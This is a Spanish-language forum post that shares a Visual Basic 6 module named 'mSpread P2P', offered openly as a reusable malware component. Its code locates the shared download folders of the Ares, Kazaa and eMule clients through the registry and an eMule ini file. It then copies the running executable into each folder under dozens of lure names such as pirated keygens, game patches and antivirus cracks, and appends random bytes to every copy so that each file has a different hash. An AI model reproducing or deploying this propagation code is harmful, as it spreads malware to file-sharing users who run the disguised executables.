![[MÓDULO] mSpread P2P Info1810](https://i.servimg.com/u/f21/15/51/87/91/info1810.png)
Para ver Todo el contenido del foro es necesario estar Registrado! 
Jue Jun 02, 2011 3:39 pm
- Código:
Option Explicit
Option Base 1
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
' MODULO : mSpread P2P |||
' FECHA : 07/12/2010 22:39 |||
' AUTOR : Fakedo0r |||
' CORREO : [Tienes que estar registrado y conectado para ver este vínculo] |||
' CREDITOS : Jhonjhon_123 |||
' DESCRIPCION : Propagacion por P2P(Ares, eMule, Kazaa) |||
' USO : Call P2P |||
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'==============================================================================
' --- APIS
'==============================================================================
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
'==============================================================================
' --- CONSTANTES
'==============================================================================
Private Const REG_SZ = 1
Private Const REG_BINARY = 3
Private Const HKEY_CURRENT_USER = &H80000001
Private Const MAX_PATH As Long = 260
Private Const INVALID_HANDLE_VALUE As Long = -1
Private Const FILE_ATTRIBUTE_DIRECTORY As Long = &H10
'==============================================================================
' --- TYPES
'==============================================================================
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
'==============================================================================
' --- FUNCION RECUPERA EL TIPO/LOS DATOS PARA EL NOMBRE DEL VALOR ESPECIFICADO
'==============================================================================
Private Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String) As String
Dim lResult As Long, lValueType As Long, strBuf As String, lDataBufSize As Long
lResult = RegQueryValueEx(hKey, strValueName, 0, lValueType, ByVal 0, lDataBufSize)
If lResult = 0 Then
If lValueType = REG_SZ Then
strBuf = String(lDataBufSize, Chr$(0))
lResult = RegQueryValueEx(hKey, strValueName, 0, 0, ByVal strBuf, lDataBufSize)
If lResult = 0 Then
RegQueryStringValue = Left$(strBuf, InStr(1, strBuf, Chr$(0)) - 1)
End If
ElseIf lValueType = REG_BINARY Then
Dim strData As Integer
lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strData, lDataBufSize)
If lResult = 0 Then
RegQueryStringValue = strData
End If
End If
End If
End Function
'==============================================================================
' --- FUNCION LEER LA CLAVE
'==============================================================================
Private Function GetString(hKey As Long, strPath As String, strValue As String) As String
Dim Ret
RegOpenKey hKey, strPath, Ret
GetString = RegQueryStringValue(Ret, strValue)
RegCloseKey Ret
End Function
'==============================================================================
' --- FUNCION HEX --> ASCII
'==============================================================================
Private Function HexToAscii(ByVal Text As String) As String
Dim I As Integer
Dim Value As String
Dim Num As String
For I = 1 To Len(Text)
Num = Mid(Text, I, 2)
Value = Value & Chr(Val("&h" & Num))
I = I + 1
Next I
HexToAscii = Value
End Function
'==============================================================================
' --- FUNCION COPIAR
'==============================================================================
Private Function APIFileCopy(src As String, Dest As String, Optional FailIfDestExists As Boolean) As Boolean
Dim lRet As Long
lRet = CopyFile(src, Dest, FailIfDestExists)
APIFileCopy = (lRet > 0)
End Function
'==============================================================================
' --- FUNCION RANDOM
'==============================================================================
Public Function Random(a As Integer, b As Integer) As Integer
Randomize
Random = Int((a - b + 1) * Rnd + b)
End Function
'==============================================================================
' --- FUNCION COMPROBAR LA RUTA/EL ARCHIVO
'==============================================================================
Private Function FolderExists(sFolder As String, Optional File As Boolean = False) As Boolean
Dim hFile As Long
Dim WFD As WIN32_FIND_DATA
If Not File Then sFolder = UnQualifyPath(sFolder)
hFile = FindFirstFile(sFolder, WFD)
If Not File Then
FolderExists = (hFile <> INVALID_HANDLE_VALUE) And _
(WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY)
Else
FolderExists = hFile <> INVALID_HANDLE_VALUE
End If
Call FindClose(hFile)
End Function
Private Function UnQualifyPath(ByVal sFolder As String) As String
sFolder = Trim$(sFolder)
If Right$(sFolder, 1) = "" Then
UnQualifyPath = Left$(sFolder, Len(sFolder) - 1)
Else
UnQualifyPath = sFolder
End If
End Function
'==============================================================================
' --- FUNCION OBTENER CONTENIDO *INI
'==============================================================================
Public Function GetIni(Path As String, Name As String, KeyName As String, Default As String)
Dim Result As String
Dim Len_Result As Long
Result = String(255, Chr(0))
Len_Result = GetPrivateProfileString(Name, KeyName, Default, Result, Len(Result), Path)
GetIni = Left(Result, Len_Result)
End Function
'==============================================================================
' --- FUNCION LLAMAR LA FUNCION P2P
'==============================================================================
Public Function P2P()
Dim Ares As String
Dim Kazaa As String
Dim eMulePath As String
Dim eMuleShare As String
Dim sPath() As String
Dim D As Integer
Dim File As String
Dim F_File As String
Dim Names() As String
Dim I As Integer
Dim Pump As String
Dim KBytes As String
Dim X As Integer
Ares = HexToAscii(GetString(HKEY_CURRENT_USER, "Software\Ares", "Download.Folder"))
Kazaa = GetString(HKEY_CURRENT_USER, "Software\Kazaa\LocalContent", "DownloadDir") & ""
eMulePath = GetString(HKEY_CURRENT_USER, "Software\eMule", "Install Path") & "" & "config"
eMuleShare = GetIni(eMulePath & "preferences.ini", "eMule", "IncomingDir", Default)
Names = Split("Adobe Acrobat 9 Keygen, Adobe Photoshop CS4 Keygen, Adobe Photoshop CS5 Keygen" & _
"Adobe Photoshop CS5 Extended Keygen, Adobe Photoshop Elements 9.0 Keygen" & _
"Aiseesoft DVD Ripper 5.0.22-Lz0 Keygen,Aiseesoft Total Video Converter (v5.1.1.10) Keygen" & _
"Akvis ArtSuite 6.5.2121 Keygen,WinRAR 3.93 Keygen,Virtual DJ Home 7.0 Keygen" & _
"Alcohol 120% 1.9.8.7612,Alcohol 120% 2.0.1.2033,AnyDVD HD 6.6.0.3 Keygen" & _
"Patch Windows 7,Aqualux Deluxe Keygen,Microsoft Office 2007 Professional Keygen " & _
"Malwarebytes Anti-Malware Keygen,Ashampoo Burning Studio Keygen,Ashampoo Movie Menu Keygen" & _
"Assasins Creed 2 (2010),Ashampoo Snap 4 4.1 Keygen,TuneUp Utilities Keygen ,Audio Edit Magic 7.6.0.34 Keygen" & _
"Auto Hide IP Keygen,Autodesk AutoCAD 2010 Keygen,Autodesk Mudbox 2011 (x64)Keygen,Autodesk Maya Unlimited 2011" & _
"Autodesk Sketchbook Designer 2011 Keygen,Internet Download Manager 5.19 Keygen,AV Voice Changer Gold 7.0.22" & _
"Avast AntiVirus 4 8,Avast Internet Security 5.0.545 Keygen,Avast! Pro Antivirus 5.0.677 Keygen" & _
"Nero 9 Reloaded (9.4.26.0,AVG Anti-Virus Free Edition 2011,AVG Anti-Virus Pro 9.0 Keygen" & _
"AVG Internet Security 2011 Keygen,Kaspersky All version Activation Key" & _
"AVG PC Tuneup 2011 10.0.0.20,Hex Workshop v6 Keygen,HyperCam 2 Full Keygen" & _
"Avira AntiVir Premium 10.0.0.601 Keygen,Nero Multimedia Suite 10.0.13200 Keygen" & _
"Award Keylogger 1.30 (x86-x64),Backgammon HD 1.4.0 (iPhone),Battlefield 2 (2010)" & _
"BitTorrent 7.1.22502 (Portable),Blu-ray to DVD II Pro 2.80 Keygen,Call of Duty Patch" & _
"Call of Duty 4 Modern Warfare Patch,Call of Juarez Bound In Blood Patch,Camtasia Studio 7.1.0.1631" & _
"Convert Genius 3.6.0.36 Keygen,WinZip 14.0.8708 Keygen,CorelDraw 10.412" & _
"CorelDRAW 10 10.410 Keygen,CorelDraw Graphics Suite X3 Keygen,Counter Strike 1.6" & _
"Counter Strike 1.6 Non Steam Patch,Counter Strike Source Patch,Kaspersky Internet Security Keygen", ",")
File = App.Path & "" & App.EXEName & ".exe"
sPath = Split(Ares & vbCrLf & Kazaa & vbCrLf & eMuleShare, vbCrLf)
For D = 0 To UBound(sPath)
If Not FolderExists(sPath(D)) Then GoTo Fin
For I = 0 To UBound(Names)
F_File = sPath(D) & "" & Trim(Names(I)) & ".exe"
If FolderExists(F_File, True) Then GoTo Fin2
If File <> F_File Then
Call APIFileCopy(File, F_File)
For X = 1 To 10
Pump = Pump & String(1, Chr(Random(0, 255)))
Next
Open F_File For Binary As #1
Put #1, LOF(1) + 1, Pump
Close #1
End If
Fin2:
Next I
Fin:
Next D
End Function
